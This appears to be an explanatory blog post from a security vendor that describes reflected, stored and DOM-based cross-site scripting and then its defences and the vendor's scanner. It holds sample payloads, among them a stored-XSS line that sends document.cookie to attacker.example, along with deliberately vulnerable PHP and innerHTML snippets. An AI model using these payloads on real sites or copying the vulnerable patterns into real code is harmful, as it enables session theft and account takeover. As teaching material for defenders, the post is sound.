Cross-Site Scripting, Explained: Reflected, Stored and DOM-Based XSS
Cross-site scripting lets attacker-controlled input run as JavaScript in a victim's browser. Here is what XSS is, how its three variants differ, and the layered defence that shuts all of them down.
<script>alert(1)</script>On this page
Cross-site scripting (XSS) is what happens when an application lets untrusted input become part of the page's executable content. Instead of corrupting a database query like SQL injection, XSS corrupts the HTML and JavaScript the victim's browser runs. The browser trusts the page's origin, so it trusts the injected script with it — and runs that script with full access to the user's session.
XSS is not a single bug but a family of three. They differ in where the untrusted data enters and who renders it into the page. This post is the map: it covers what unites them and links out to a deep-dive for each variant.
How it happens
Every XSS bug is the same mistake in different clothing: data that the application expects to be inert text is instead interpreted as markup or code. The data crosses a trust boundary — a URL parameter, a stored comment, a postMessage event — and lands in a sink that builds the page without encoding it first.
$name = $_GET['name']; echo "<h1>Welcome, " . $name . "</h1>";
For ?name=Alice this is fine. But name is attacker-controlled and is being dropped straight into HTML, so it can carry a tag instead of a name.
The three variants
The differences come down to the path the payload travels before it executes.
Reflected XSS — the input is sent in a request and immediately echoed back in the same response. The payload lives in the URL and fires only for whoever follows the crafted link.
https://shop.example/search?q=<script>alert(document.domain)</script>
Stored XSS — the payload is persisted server-side (a comment, a profile bio, a support ticket) and served to every viewer of that content, with no link to click.
<script>fetch('https://attacker.example/c?'+document.cookie)</script>
DOM-based XSS — the flaw is entirely client-side. JavaScript already on the page reads an attacker-controllable source and writes it into a dangerous sink. The payload can sit in the URL fragment, so the server never even receives it.
document.getElementById('out').innerHTML = location.hash.slice(1);
Reflected, stored and DOM-based are the same vulnerability class viewed from three angles — the question is only where the untrusted data enters and who renders it. Each has its own deep-dive in this series.
What an attacker gains
Once arbitrary JavaScript runs on the page, it acts with the victim's full authority:
- Steal session cookies that are not marked
HttpOnly, hijacking the account. - Read the DOM — CSRF tokens, profile data, anything rendered on the page.
- Forge requests as the victim, including state-changing actions like email or password changes.
- Rewrite the page to phish credentials inside a genuinely trusted origin.
The end state is frequently account takeover. Stored XSS amplifies this further: one injection can hit thousands of sessions, including the admins who moderate the content.
The fix: encode for context, then defend in depth
There is no single switch, but the variants share one root defence: context-aware output encoding. Encode data for the exact place it lands so the browser always reads it as text, never as markup or code.
$name = $_GET['name']; echo "<h1>Welcome, " . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . "</h1>";
Now the < becomes < and the browser sees inert text. Layer the rest on top:
- Use a templating engine that auto-escapes by default, and keep encoding correct for the HTML, attribute, JavaScript and URL contexts.
- For DOM sinks, prefer safe APIs like
textContentandsetAttributeoverinnerHTML, and adopt Trusted Types where supported. - Set a strict Content-Security-Policy that blocks inline scripts, so a single missed sink is far harder to exploit.
- Mark session cookies
HttpOnlyandSecureso script cannot read them.
How SelfSec proves this one
Scanner behaviour- Module
- Cross-Site Scripting
- How it probes
- Injects context-aware payloads into HTML, attribute, JavaScript and URL sinks, including mutation variants when a WAF sits in the path.
- How it confirms
- The payload has to survive into the rendered context it was aimed at; a reflection on its own does not promote the finding.
Reported as CWE-79 · ATT&CK T1059.007 · SARIF 2.1.0
A reflected response alone is not enough to promote a Cross-Site Scripting finding — the classical engine has to confirm the behaviour before it reaches the report. See the detection engine
SelfSec is intended strictly for authorized security testing of systems you own or are explicitly permitted to assess.
Do both things about Cross-Site Scripting
SelfSec covers this class from both sides — the scanner confirms it in your own app, the firewall blocks it in front of your origin while the fix ships.